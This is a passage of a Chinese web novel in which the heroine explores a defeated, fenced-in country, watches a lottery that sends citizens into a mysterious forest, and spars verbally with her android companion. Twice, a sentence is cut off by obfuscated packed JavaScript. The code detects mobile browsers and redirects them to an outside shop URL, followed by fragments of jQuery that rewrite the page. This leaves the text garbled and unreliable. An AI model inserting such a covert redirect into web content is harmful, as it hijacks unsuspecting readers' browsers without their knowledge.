那是一位散发着薰衣草香气的女士,她的手温柔地抚摸在光明的脸上:“亲爱的,来,我们先起来。你父亲不是故意要打骂你的,你知道的……”她声音小了几分,“他在担心你会被选中,要是没有异能……”
女士说着抽泣了两声,光明有些迷迷糊糊地将手贴在这位女士的手背,是很粗糙的手背,但是很温暖。她听见这位女士小声念叨:“虽然不清楚那里面有什么,但是我们的预感不好。”
“乖,我亲爱的休斯蒂卡,你去给你父亲好好说说,重新制定你的训练方案。”
她是休斯蒂卡,那罗威尔是谁?罗威尔也是她。
到目前为止,光明只能乐观地把这看做是一个角色扮演的游戏,她的父亲性格暴躁,但母亲温柔和蔼,甚至她还有两个不一样的名字。
光明大致扫了一眼面前的木头屋,里面充满着简陋的木制家具,看起来全是手作的,很多家具的木头都没剖好。
生活区域和用餐区域没有明确的边界,简简单单地用几片废弃布料隔绝,但都被这个四四方方小木屋围着,有些“呼吸不过来”。
光明觉得自己可能这辈子真的和“富贵”绝缘了,就连角色扮演好不容易抽到个王室,结果还是个落魄的。
都如此破烂了,到底还要训练个什么劲?干脆多捡捡垃圾得了。
那女士见光明没动静,只好自己靠近丈夫:“莱昂,快消消气,别苛责你的女……”她重新说,“别苛责你的孩子。”
这个男人对自己的老婆也没什么好脸色:“伊莉丝,他也是你的孩子,别说得我好像是个不近人情的父亲。”
伊莉丝摇摇头,眼角又滑落一滴泪:“我没有这个心思。”
“他花了五年时间还没激发异能,这不是耻辱吗?难道眼睁睁看着他进去变成别人的奴隶吗?!”
伊莉丝垂着头,肩膀微微颤抖着。
光明见状打断两人:“我想,我确实应该调整训练方案,麻烦父亲了。”她说这话时很平静,只想结束眼前两人因自己而起的毫无意义的争执,光明学着两人的语气说,“我觉得快了,父亲。我已经能够隐隐感受到体内异能的滋长了,请您不要为我忧虑。我很抱歉。”
光明在离家出走之前满打满算还是读了七年书的,倒数第一有过,名列前茅有过,最后没钱了,干脆就不读了。她确实不是个全面发展的好学生,所以在科技时代稍微显得目不识丁,胸无点墨,但作为一个读过书的流浪者,她的欺骗和模仿能力不说出类拔萃,也很是卓尔不群啊。
莱昂听到光明这番话后神情有些松动,但他对此并没有过多的表示,依旧扳着一张脸,哼气一声,道:“这才有点男人样。”
光明:?
什么狗屁!
10. 往生森林(二)
这时,列车外。
一男一女走下列车。
“怎么走?”
女人一头利落的黑色短发在冷风中狂舞,鬓角的碎发触碰鼻尖,痒痒的,她没有理会,风渐渐大了,又吹拂起额前的碎发,遮挡住视线,她朝上随意地呼口气,露出了一双明亮的眼睛。
女人很高大,穿着一套纯黑贴身的衣服,左胸口前别了个蓝色圆形徽章,下身是战术工装裤,很多口袋设计,看起来很实用,再往下是一双战术靴。整个人透着股健康、潇洒、自由的气质。
她笑得明朗,转着手枪玩,神色间没有来到异世界的凝重或是不安。眼见黄沙一片,她反而缓缓嘴角勾起一抹浓艳的笑。
“莫鸠姐姐,我也不知道啊。”男子摆摆手,他一头白金色狼尾,层次处挑染着粉色。
他这一身和莫鸠的简约干练不同,极富有设计感,在黑色内衬外加了件白衬衫叠穿,外面套了个黑色皮衣,黑色皮衣的右肩处刺着水仙花,手里还把着个银蜘蛛玩。
如若单看这一身衣服,倒还是很少年的,但偏偏他又带着一副豹纹眼镜,身量颀长,这些元素被他融合得很好,整个气质便更偏妖冶。
他抛起银蜘蛛,歪头咧着嘴,等银蜘蛛快跌落地面时他用脚尖踢起,接住了,浑不在意地随口提议:“随便走走吧,当郊游,我来做向导。”
莫鸠随意抓了一把舞得碍眼的头发,白了他一眼:“你上列车完全不准备?”
风勿介眨眨眼睛,很是不解:“害,那人就给我说要不要来玩玩,我说玩啊怎么不玩,她就给我送来了,”他笑嘻嘻地看着莫鸠的全副武装,“你这是……”
莫鸠摆头,忍住了翻白眼的冲动:“……走吧向导。”
——
B国,小木屋。
一个父亲会不知道孩子的性别吗?
绝不可能。
所以这老头子在说什么?
光明不解:什么叫有男人样?男人样又是什么样的!他在用这个词规训她吗?
口腔里泛着淡淡的血腥气,光明用指腹随便揉了揉。
她在科技时代活了十七年,压根没听过这样的话,男女不是人的生理性别吗?什么时候成了定义价值的标尺。她心有怒气,被这老头子打了一巴掌还要被给一个怪模怪样的肯定。
可莱昂根本不在乎光明愤恨的视线,交待完明天就会换训练方案后扛着弓箭出门了。
啧。什么狗屎地方。
“神经病。”
等莱昂走后,伊莉丝女士对光明絮絮叨叨地说着让她不要计较,并反复肯定着光明的乖巧。
光明从交流中得知:
伊莉丝女士似乎称白石国为B国。
A、B两国在几十年前爆发了一场大规模的战争,双方死伤惨重,但很明显,B国战损更严重。A国和B国签订休战契约,契约的内容极不平等,可不平等又如何?
B国只能妥协,关于契约具体内容,伊莉丝女士并未展开说明,但光明猜测——B国如今简直危如累卵。
因为B国在近10年被A国要求禁止生育。
这意味着什么呢?B国的灭亡只是时间问题。没有生育就没有未来。
除了对世界的基本了解之外,光明还有一些急需解决的问题:
第一,为什么莱昂要要求她尽快激发异能;第二,伊莉丝女士口中的“那里”究竟是哪里。第三……
光明的视线穿透被白渍迷蒙的窗户,看见了靠在树脚惬意半眯着眼的红红。
她刚才被打了一巴掌,倒不是有多疼,只是让她想起了一些往事。
一个人孤独久了,就很容易跌进陷阱中,轻信善意,譬如她会觉得自己同Cronaris绑定在一个同一个地方,自然而然地将对方视做伙伴,Cronaris帮助她,向她展示信息,Cronaris同她一起出现在列车上,一起下了列车到这个鬼地方来,可是……
可是在那场堪比预言的环境中,Cronaris遵从白皮肤巨人的命令,或者说,Cronaris无法违背白皮肤巨人,光明差点忽视这条信息。
那他现在的目的又是什么,白皮肤巨人要他做什么事情?
光明可以不去怀疑Cronaris,但现在的红红和Cronaris不一样。红红像是被回复了出厂设置的Cronaris。
光明须得将眼前的红红和列车里的Cronaris分得很开,她这样警醒自己。
思绪渐渐清晰,光明在确认一时半会儿无法回家后,又列出了两个与世界命题无关但需解决的核心问题,这两个问题大概会花费她大量的时间。
第一,有关巨人,Cronaris出现和巨人脱不了关系,那原因呢?这个故事只存在于她和巨人吗?当然不是,极有可能存在第三方,比如她不是主动上列车的,而是被人安排进入列车的。
至于Cronaris给她展示的究竟是未来还是过去,光明现在无法确定了。毕竟她连灵魂都不完整。
第二,有关系统。光明并不相信在科技时代会有神明,脑子里那个东西多半是谁的异能,或者她被植入了芯片。当然第二种情况会更合理一些,“更”的意思是稍微,毕竟她身上真的没有价值,芯片放在一个残次品身上简直就是浪费!
哎,真是路漫漫其修远……
……
靠,好有文化!读过书的人就是有魅力!
光明感叹并整理好思绪,决定出门找找此世界的探知线索。
“吱呀——”
木门的铰链和插销部分已经严重磨损,每开一次门简直就是对耳朵的折磨。
不仅如此,开门还会随机掉落粉尘,光明呸呸两声,转眼便看到红红双手插兜,抬头看她,脸颊肉还微微鼓起。
“光明,你好慢啊。”红红有些不耐烦。
光明挑眉,伸出手摸了摸他雪白的脑袋:“哟小红红,你等你姐姐呢,真乖。”
红红一把拍开她的手,瞪了她一眼:“我才不小。”转而又发现光明一侧脸上比正常地泛着红,红红歪着脑袋问,“你的脸好肿,你被打啦?”
光明摇头胡说:“哪有,我刚刚打蚊子呢。死蚊子居然敢飞到我的面前来。”
红红瘪嘴,显然不相信:“你怎么不打回去?”
光明扯扯嘴角,揽着红红的肩往前走。是她不想打回去吗?那可是“她”爸!草他爹的。
伊莉丝和莱昂的家在一片低矮的树林中,光明和红红有一搭没一搭地聊着,往较为开阔的位置走去。
没走多久她就会看见另一处与伊莉丝家风格一致的木头房子,这里的房屋设计外观没有任何差别,只有层数不一。渐渐地,一片旷野又呈现眼前,倒也算不上旷野,不过视野开阔,低矮的草地上长了很多树桩,光秃秃一片,可以看出这边已经开发到底。
光明向更远处眺望,隔着黄沙大概一千米的位置有驻扎的痕迹,她结合伊莉丝女士给的信息,判断眼前的军队属于A国。
同时,她注意到驻扎营那方的树林高得多,也绿得多,通电网线隔绝了黄沙和森林,将B国人囚禁在黄沙内。
对,光明觉得B国人就是在被囚禁着,世世代代都要被囚禁。
所以她认为禁止生育对这里感到痛苦的人而言……倒也不算多么坏的事情,毕竟在她看来,在这样的处境之下,要么反击,要么就等待死亡。
如今的B国不过是在拖延“刑期”罢了。
两人换了个方向,弯弯绕绕迷了路,再次回到了伊莉丝和莱昂的木头屋,这时伊莉丝已经在外面晾衣服,木桶里的衣物散发着伊莉丝女士身上柔和的香气。她见到光明,绾了绾耳间的碎发,温声招手:“宝贝呀。”
……
光明在听到伊莉丝这句话后僵在原地,蓦地站得笔直,活像一块木头。
一旁的红红哼哼一声,打量着光明的反应,因为察觉到某人的特性,所以很微妙地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343045|199450||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
点着脑袋。
啊啊……
光明眼中的伊莉丝此刻美得令人窒息。
伊莉丝女士金色的发丝在阳光下泛着朦胧的光,和她的微笑一样,让人暖洋洋的,她俊美的鼻梁高挺又精巧,温柔透亮的眼睛笑意盈盈,正深深地注视着光明。这是女性独有的魅力,伊莉丝眼神中满是对孩子的慈爱,太美了,光明看得呆住,心中莫名有些紧张,好一会才反应过来出声:“母亲。”
光明走近,要接过伊莉丝手里的衣服:“我来吧。”
伊莉丝却推了推她:“没关系哦,休斯蒂卡宝贝,你今天不去抽签台吗?”
光明迟钝地点头,应了声好。
伊莉丝冲她和蔼一笑,往她口袋里放了四张票,随后视线放在了双手插兜一脸苦瓜样的红红身上。
光明顺着视线看去,红红的头发不知什么时候变成了不那么明显的棕发。
伊莉丝纠结许久,最后还是轻轻地伸手揉了一下红红的脑袋,她的表情很精彩,眼睛笑眯眯的,语气跟哄孩子似的:“哎呀,不好意思小朋友,你实在是太可爱了。”说完后还捏了捏他脸颊,看着一脸懵的红红呵呵地笑,“真是可爱呢。”
……
两人逐渐走远,光明仔细地琢磨着地图,以免再次迷路。而一边,沉默的红红突然炸响一句:“宝贝。”
“我靠!你在发什么神经!”
光明难以置信,不可置信,眼前面板上的悬浮地图都震了震,她立马抬手往旁边一脸“我就知道你喜欢”的红红猛然一锤。
红红很灵敏地避开,捂着圆脑袋冲她嘟囔一嘴:“你不是喜欢被这样叫吗?”
光明另一只手再次袭去,牢牢地捏住了红红的耳朵,扭了一转:“可爱的小朋友。”
红红捂着另一只耳朵,鼓着脸颊继续说:“宝贝。”
“可爱的小朋友。”
“宝贝。”
“你有完没完。”光明简直无法理解。
“宝贝宝贝宝贝!”
“可!爱!的!小朋友!”
“额……不好意思你们是在吵架吗?”旁边不知什么时候冒出来一人,睁着个大眼直直盯着他们。
光明:“………”
红红:“宝贝……”
那人讪讪一笑,从头到脚都透露出一种悔不当初的尴尬:“呵呵……啊……真是别有一番情趣呢,原来是我误会了,不好意思哈,哈哈。”
光明眯眼细看,眼前这人正是夜生,不过这个夜生和她认识的那个有很大不同,眼前的夜生没戴眼镜,还续了头长发,长得也白白净净。
夜生被光明这样死死瞧着,更加后悔,支支吾吾地出声:“怎、怎么了?”
光明:“呃……你说怎么了?”
她才是被唤的那一个好吗。
红红也说:“不是你在叫我的宝贝吗?”
光明又是“哐”的一拳砸下。
夜生手上摩挲着一张貌似钱票的东西,不好意思地冲她点点头:“哦对,这样的,罗威尔,我看你们往售票厅走,应该也是要去抽签台吧,不好意思打扰你们,是这样的……”他吸了口气,鼓足勇气说,“我们、我们一起拼个票吧!”
光明:“……啥?”
红红点头:“宝贝,他要你拼票,我们要答应他吗?”
光明捏着他脖子:“闭嘴。”
夜生仔细道:“一个人需要两张钱票,但我们三个人一起入内,一共就只需要五张钱票。我这里只有一张,还是刚刚用兔子换的,很抱歉……希望你们能带我进去。”
光明笑得爽朗,伊莉丝刚刚不就给她塞了四张票吗,原来是这么用的,她一口答应了下来,一摸口袋……
哎呀。她忘了这件黑衣服是个破洞的,大大小小全是窟窿,口袋竟然破得最厉害,漏财啊,现在就只摸到了两张票。
光明一笑:“不能都只进半个人吗?”
红红笑了,夜生也跟着勉强地笑了。
11. 往生森林(三)
在光明一筹莫展时,夜生提出可以用剩下的三张票买一个传声器和望远镜,他说那样就算在山头也能“如临其境”了。
光明表示完全赞同。
很快,三人一齐来到摊位旁,众多卖者的目光奔涌而来,光明一眼就相中了一张黑脸,确实是黑脸,那黑皮肤人五官立体,就是几乎看不清五官。
直到光明走进才看清他的模样,还挺俊俏,他架着个二郎腿,一边卖弄着自己铺子上的传声器,一边不停地朝光明投来视线,在和光明对视后又立马闪开,几来几回,生怕她注意不到。
光明会意,插着腰走近询问:“咋卖的啊?”
那黑人顿时大惊,翘起的腿抖了抖,差些把椅子弄翻,好一会儿才把自己摆端正,他昂着下巴说:“#*¥+%@……”
【叮咚——】
光明耐心地听完这人说的一堆乱码,转身就是要走。
语言不通,很容易被坑的。
一边的红红眉头紧皱,估计也没听懂。
倒是夜生笑着问:“您好,我们听不太懂。”
【基因天赋解锁,几乎任何人创语种无师自通。】
什么意思?她怎么不知道自己还有这么顶的天赋。
系统给了光明一种蜗牛爬行的黏腻感,它像只没什么动力的蜗牛,需要光明戳一戳才肯前进,当然,系统也很像那堆粘液,甩不掉又恶心。
她这下不仅要探索世界,还要探索这个痴呆系统。
光明很乐观,把这归咎于灵魂不完整,兴奋地认为既然连不完整都这么厉害,那说不定她哪天就成为样样精通的天才了!
“随便拿,反正这东西又不是我的。”
光明这回听明明白白,她勾唇一笑,昂了昂下巴:“不是你的?”
那黑人摆摆手,哼哼一声,颇有些自豪:“你别管,爱要不要。”他说着靠近,示意光明靠近一些,“我可以不收你钱,但是你需要答应我一个条件。”
光明和他四目相对,扯了扯嘴角:“我给钱,不答应条件,你也爱要不要。”她自从被骗上车后防诈骗意识可提高了不少,“再说这东西是你的吗你就卖,到时候老板找谁?找我吗?我答应了你条件还要赔钱是吧。”
这人莫不是傻子吧。
那黑人面带犹豫,想了一会,觉得光明说得很有道理!但不知怎么越想越烦躁,竟然跺脚骂起来了:“玛德,不答应就滚,烦死了!”
……有这么做生意的吗?
光明决定不和傻子一般见识,拽着红红和夜生抬脚就走,但没走几步,又听那黑人吆喝:“回来回来!”
怎么可能你让我回来我就回来?
没想到那黑人见唤她没动静,唰地挡在她面前,“深”不可见的眉毛都快拧成一根了:“我做什么你才肯答应我的条件?说吧。”
光明思绪飞转,还没开口,这黑人突然触电似的,倒下了。
光明:“……”
“靠这死玩意儿还敢抢我的摊位!上次天黑老子没打过你,老子现在可是把你看得清清楚楚!来啊你再来啊!”
原来是摊主老板持着电棍回来了。
据光明观察:这里的东西大部分是用异能造的,比如望远镜其实就是普通的木桶子,能远视的异能者在上边施了一层异能量而已,电棍也只是与电相关的异能被施在木棍上了。
光明见状立马一番哭诉,说什么多亏了自己才让老板捉到了小偷,老板无语,但是觉得她说的对,“颤颤巍巍”地给她便宜了一张票。
光明美滋滋地拿着刚买的望远镜和传声器,走之前还举到“啥子”面前晃了晃。
果然还是正规的拿着安心呀。
他们走后,“傻子”悠悠转醒,他眨眨眼睛,良久终于反应过来发生了什么,懊恼万分,磨着牙说:“这群人到底是从哪里下的列车!”
“烦!真踏马的烦死了!”
——
几十分钟后,三人一齐爬到一座小山头开阔的悬崖边,累得气喘吁吁。
光明用望远镜看去:抽签台周围坐满了人,再外一层的站票更是水泄不通。实则这个山头也好不到哪去,譬如此刻,要不是有一个围栏她说不定已经葬身山壁了。
再戴上传声器:
“又是古斯先生诶!”
“对啊,不过下次该轮到我父亲了——上帝保佑!千万不要让我敬爱的父亲被抽中啊!”
无论是抽签处还是山头上都格外吵闹,大家你一嘴我一嘴地乱说,到最后想要和身边的朋友聊个闲都只能扯着个嗓子吼了。
红红被挤在光明和夜生中间,光明不知道左边是谁的肉,那肉一直被挤得弹来弹去,一下一下地打在光明手臂上,那人还冲光明吼:“不要挤我的肉肉啊!你你你骚扰我!”
光明无语,见自己的长头发还卡在他的肉里,光明也夹着嗓子说:“你挤到我的发发了啊,你你你陪我发发一张门票!”
那人看傻币一样地看着她:“……”
相顾无言。两人开始暗暗使力。
两人中间的夜生面色发白,虚弱道:“不、不好意思,我好像快要死掉了……”
那长着一坨肥肚子的男尖叫一声,还小幅度地跳了跳,一脸震惊地指责光明:“啊啊,你怎么回事呀!还有没有道德了啦!”
光明脸部抽搐:“……”
红红关切询问:“你的脸怎么了。”
光明:“……”
抽签台上只简简单单的一张桌子,上边放着个抽签盒。为保证公平、公正、公开、公序原则,每年的主持团人员的选取是先将所有的家庭编排成序号,再打乱顺序,随机抽取四个家庭序号组成当年的候选人,再将这些人打乱、重新排序,从里面抽取四人,成为参与人。
最后排除这四人,再将从抽取出的小组打乱,再次重新排序,随机选取四人成为下一次抽签的主持人团队。
每次抽签一共抽取三轮,再将这三轮排序,从中抽取一轮。这一轮就定下该年往生森林参与人和主持人。
不过,主持人并不是不会被抽签台抽中,只能说成为主持人后会大大降低被抽签台抽取的概率:因为打乱后的每人都会有两个序号,而主持人只有一个序号。
毕竟B国一共4576人,除去未满十八岁的孩子还剩4452人,要保证相对的公平,就需要绝对的随机。
那名叫古斯的男人是这次抽签的主持人,他的头发已经白成霜雪了。
古斯带上手套,从抽签盒中摸了一张票,扫了一眼后递给了下一个人。第四个人看了后冲其余三人点了点头,举起了扩音器。
台下众人倏忽安静,场面中只有风声鼓动,光明忽然有些冷,皱了皱鼻子,余光看见红红那小子根本没有看抽签,正瞪着个黝黑的大眼睛直勾勾地把她盯着,光明歪着头给了他一个自己觉得特狠毒的眼神:“干嘛。”
“嘘。”
“嘘。”
“嘘。”
周围齐声。光明尴尬一笑,抿着嘴移开了视线。
一切声响戛然而止。
……
偌大的抽签台人声寂灭,只能听见风吹动叶子的沙沙声。众人似乎连呼吸都舍弃了,一齐静默地等待着宣告。
“1263卢梦。”
“324洛伦左·海因里希。”
“114艾拉·罗伊斯。”
“410古斯·德雷克。”
一阵惊呼。
“古斯先生!他居然被选上了!”
“啊,不是说概率很低的吗?”
那位双鬓透白的古斯先生沮丧地摇摇头,开始止不住地咳嗽起来,整个人摇摇欲坠,周围人立马涌上前去,几秒后,古斯先生倒地了。
场面一度混乱。
“古斯先生晕过去了!”
“来!快来个治愈系!”
“什么!唯一的治愈系在往生森林!”
……
“呼,还好还好,没有抽中我们。宝宝,我可不想和你分开!”
“我也是!没抽中我们简直太棒了!去庆祝一下吧!马戏团怎么样,你今晚有空吗?”
“嗯嗯,走吧走吧,听说今晚会格外热闹。”
……
“太好啦!可以进往生森林了,妈妈我来啦!自由我来啦!”她用力扯着身旁人的衣袖,眼泪滚滚而出,“我等了六年!终于轮到我了,你知道我有多想我妈妈吗?你知道吗!”
……
“往生森林里会有什么?我好害怕。”
“别担心,我之前去过!那里很好的,保证让你流连忘返!我都想再去一次呢。”满面创口的人说。
……
“……”
这些声音此起彼伏,欢呼声、愤怒声交织,有人在此刻结束了敛息,有人置身事外,有人几乎窒息。
B国人对往生森林的态度为什么会有如此大的差异?
人群渐渐散场,光明被这些涌动的人声推挤,清晰地感受到了脚边下落悬崖的石子。此时,一片火红的枫叶悬垂,缓缓以众人各色精彩的表情为背景,飘落。
人潮和声潮齐齐褪去,光明拍了下身边愣神的夜生。
“……”
“喂,你咋了?”光明手肘抵了他一下。
“……”
红红也学着光明的样子用手肘碰了碰他。
此时的夜生终于和光明印象中的对上了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343046|199450||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
除去眼镜,夜生看起来依旧一副单薄得难看的傻缺样,他的呼吸特别缓,似乎还未脱落先前肃静的世界。
好一会儿他开口:“我的运气一向不是很好。”
他说:“从小就流浪,跟着朋友、父亲、母亲……然后再是姐姐……她牵着我的手,哦,对了,他们都和我没有任何的血缘关系,能跟着他们,全靠他们慈悲。”
“那是我第一次和别人牵手。我跟着姐姐走到了B国,以为总算有安定的生活了,可仅仅3年,战争爆发了。”
“B国战败得很快,打了3年仗,姐姐的丈夫死了。”
“我想,或许在某个时刻就会轮到我了吧。”
“我、我很讨厌我自己,我的运气一向不是很好,现在姐姐也要走了。”
夜生的发尾摆动,一颤一颤的。他的声音淡淡的,轻轻的,细微极了,连带着整个人都像是人群欢歌笑语的陪衬板。
光明还没来得及整理夜生口中的话,夜生躺在腐雨下翻滚的样子便先一步在她的脑海中回想。她觉得眼前这人似乎比刚才脚边的落石还要摇摇欲坠,可她不知道说什么,她并不会安慰人,哪怕一句都说不出来。
可她的脑中极速闪过的那句“我不喜欢这个名字,很难听,听着就像没有家人”,光明神色复杂,轻轻拍了下夜生的肩膀:“所以你姓卢,这不起码还有个家嘛。”光明进一步说,“往生森林难道真的有那么恐怖,你姐姐去了就不会再回来了?”
夜生低着头很久,整个人都浸泡在过往的回忆中,以此苟延残喘着,好一会儿,像是终于得到了久违的呼吸,他才终于点了点头:“不知道,但是我很害怕。”
他认为自己应该立马狂奔回去,珍惜和姐姐的最后十几个小时,好好地听姐姐的嘱咐,也好好地给姐姐告别。但他此刻似乎脚底灌铅,硬是一步都走不出。
光明的说法很奇妙,因为夜生从来没想过自己的名字,一时半会他反应不过来,也适应不过来。
从流浪开始,他就一直被唤做夜生,似乎这个就应该是他的全部名姓了,在这么个单薄的名字前添了个如此叫人珍重的姓氏,多多少少让他感到真是……
上帝垂怜。
细细地想着,他眼睛竟然止不住地起了层薄雾。
这名字让他有一种归属感,但他一时半会又不习惯,吞吞吐吐地,反而说:“我不在乎我的名字。只是,只是如果单纯地想着,在生命中……与一个特别特别熟悉的人说再见,就……虽然这样的场景已经经历过好多次了,可我还是怎么都不敢去想的。”
“每年的抽签都让我感到很不安,每个去了往生森林的人回来后都……我也不清楚,我说不上来,他们似乎都很奇怪,但又很正常。”
“我不希望姐姐也变成那样。”
光明点点头,她对于情绪问题的处理方法一直都秉持着“遇到问题解决问题”的原则。有情绪就解决情绪,去找到方式解决情绪,甚至可以掩盖直到完全忽略情绪都是可以的。
她给出深思熟虑后的意见:“可你改变不了,你唯一能做到不过是回去见见她,如果你口中的不安变成现实,你就更得趁现在把想要说的话一口气全部说光。”
夜生指尖颤抖,呼吸慢慢地恢复,接着趋于平稳,随后陡然变得急促,他说:“可是……我还是不勇敢。”
光明直截了当:“这和勇敢没有半毛钱关系。”
她并没有安慰夜生的义务,话说到这里,就可以直接离开了,可她忘不了夜生死前说的那句“我现在能被你们记住了吗”。
光明劝自己说她还需要这个人,无论是回家还是这个世界的探索,她都需要这个人,所以耐心了几分,说道:
“如果勇气是人人都能得到的东西,那勇气未免太廉价。当然,这世界上很多人不勇敢,有些人还很懦弱,这都是人不同的个性,大家或许只是数值不同,没必要总是为了一个模糊的概念去纠结。”
“我的意思是,不勇敢和你现在去和她见面没有关系,那只是你额……太狭隘。觉得这是一件需要勇气才能做到的事情,可是,难道不应该是你做了这件事之后,才能评判自己是否具有勇气吗?以及,你现在绝对并不是因为勇气才去见你姐姐的。”
夜生很自责地低下了头,细长的发丝被风吹拂,遮住了一双含着泪光的眼睛。
光明看不清他的表情,她怅然地站在高崖上,这里能够俯瞰到半个B国,再远些是发白的天际线,她呼出一口气,心中难免因为夜生刚才的话有些落寞。
光明第一次对自己已经离开了熟悉的土地有了实感。
这个夜生并不是她那天见到的夜生。
自己也可能再也回不到那片土地了。
12. 往生森林(四)
夜生仍旧站在原地,身子仿佛是被骨头支立起来的,如果没有骨头整个人将会变成一张皮肉,任由萧瑟的风吹进悬崖下。
红红黝黑的眼睛在两人间徘徊,最后默默地盯着光明,好一会儿,他昂起下巴冲着夜生冷声说:“生物在存在受损之虞会做出逃避行为,你这根本不是逃避……哎哎。”
红红还没说完就被光明一把扯走了,气鼓鼓地被光明捂着嘴提到山下,期间光明像拖着个白色塑料袋一样拖着红红,红红撞到好几棵树,把身上撞得很疼。
等光明松开,红红立马很生气地质问:“那是懦弱。宝贝,你为什么不让我说!还有,你的力气也太大了!我的脸颊很疼!腰也很疼!”
光明抬手敲了他脑袋,下了个结论:“你真是仿生人啊。”
红红倏地瞪大眼睛,生怕光明发现不了:“……不、不是!”
哟,还是只会撒谎的。
光明故作高深说:“好好好,那姐姐告诉你。人类的情感是很复杂的,你多学学,不懂就不要乱说。”
红红不满:“我没有乱说!那宝贝你讲,人类的情感到底能有多复杂。不就是极高或者极低吗?归根到底,无论什么情绪问题的本质就是没有能力。”
光明赞同红红的最后一句,但前半句她也说不清楚,摆摆手说:“霍,我哪里知道。”
“那你还说我不懂。”
“好吧,我也不懂。”光明想到了夜生的表情,“但我觉得你这样说话,那人都该羞得跳崖了。”
——
夜幕四合,地平线附近的小草随风舞动,千丈上空是两只鸟儿在橙黄的霞光里飞跃,转眼,其中的一只被一箭射穿,血迹在空中倾洒,坠落地面。
与此同时,地面的火光在玻璃罐中欢快雀跃,这些火种被挂在树梢上,悬在空气中,明亮了夜色。
B国照明的方式别具一番风情,火光也是异能,将火光放在玻璃罐子里方便使用,挂在树梢上,就照亮了人们前行的小径,还有些被摆放在悬空的空气架上,一罐一罐,点燃了寂静的暗夜。
红红正懒懒散散地跟在光明身后,忽而幽幽冒出句:“宝贝,我们现在要去干什么?”
光明正跟着前方的两个人前往他们口中的“马戏团”,但她没回答红红,她在整理从夜生口中得到的信息。
一步步走,总不会行差踏错的。
她在遇到问题时,会习惯性地去分析解决方案,拆分解决步骤,并阶段性地解决问题,毕竟她没有那么多的试错机会。
夜生其实算不上B国人,只是刚好被捡了回来,又恰好碰上了战争。
那如果不是B国人会被归到抽签里吗?会有影响吗?毕竟A国人的要求的是B国人。
夜生口中的往生森林应当和伊莉丝口中的“那里”是一个地方。那么早上的困惑就只剩下为什么莱昂要求她尽快激发异能了。
难道A国只需要有异能的B国人?
红红坚持不懈:“宝贝?”
光明回头,一怔,围着红红绕了一圈,啧啧嘴,诧异说:“你长高了。”
红红点头,翘起嘴角:“当然,我又不是脆弱的人类。”
光明反驳:“人类怎么脆弱了?不对,你到底是啥东西,咋突然蹿高了。”
恕她孤陋寡闻,仿生人还有这设定吗?
红红昂头,很是得意:“人类就是很脆弱啊,养个出生只会哭的小孩,还不如养只出生没多久就能跑的马呢,”他继续补充说,“还有,我不是东西。”
光明点点头,表示赞同,沿着火光向前走:“你确实不是东西。”
红红脚步放快和光明肩并肩,望着光明的影子,很是乖巧地点点头:“嗯嗯。”
“所以宝贝,我们要去哪里。”
光明已经对红红小可爱的攻击免疫了:“为什么要叫我宝贝?”
红红表示很疑惑,头发不知什么时候从棕色变了回来,雪白的发丝遮住了些视线,在他抬头看向光明的时候轻轻吹了吹。光明看着他的动作,笑眯眯地说:“不过,你还挺像人类的。”
红红回答她的问题:“我觉得你会喜欢,所以我叫你宝贝。光明,你不喜欢吗?”
光明摇摇头:“随便你……怎么称呼是你的自由,我对于这个称呼也没啥所谓,”她话锋一转,“你的数据库中没有这些常识吗?”
红红摇摇头,又点点头:“应该是有的,但是我也不知道是什么原因,我使用不了,感觉好多东西都被……烧了?”
“烧了?”光明表情变得些许凝重,她问,“是什么时候烧的?”
红红点头:“感觉是烧了,但我不知道感觉对不对。”他顿了顿说,“应该是在见到你之前。”
是Cronaris吗?他会自己烧毁数据库吗?还是那个第三方?
光明追问:“那人没有留下痕迹?”
红红摇头。
没有留下痕迹说明很大可能是Cronaris自己烧的,此外就是第三方。
光明承认自己着实有些多虑了,但一旦出现可能威胁生命或是促成她被审判的因素,她都不得不加入些阴谋论。
毕竟很难说她的命运真的是注定的,还是被人预谋促成的。
两人你一言我一语,再次抬头时,脸上映照出火光澄澄。
他们不知什么时候走进了一个隐形隔音罩中,进来后世界骤然人声鼎沸、喧闹不止,光明眼前蹿着各色各样装扮的人,各种稀奇古怪的玩意儿在中央汇聚。
入口处并没有设置检票口,检票亭中的工作人员大声吆喝着:“今日抽签日,不用门票!祝大家马戏团中玩得尽兴!”
再往里走,各种颜色的火点在空中胡乱跳跃,甚至蹭到红红面前,把他黝黑的眼睛照亮,红红把眼睛眯起来,咧嘴笑了笑。
B国人将异能掌握得恰到好处,水系异能让人在空中游泳,不过水很少,毕竟能调动的水资源不多;隐形异能表演大变活人,结果人确实是看不见了,只剩一条裤衩子悬在空中乱走;预知异能摆了个小桌,上面悬着几个大字:算命!只要给钱,童叟不欺!
红红戳了戳眼前装着火的玻璃罐,脚步有些雀跃:“这就是他们口中的马戏团?大家看起来都好开心啊。”
不等光明回答,不知从哪里蹿出一声:“哟,罗威尔!你怎么来了?”
光明闻声回头,那是一个长得像筷子的人,又高又长。等那人走进了,站在跳跃的火光下,光明才看清,这人竟然是那个竹节虫!
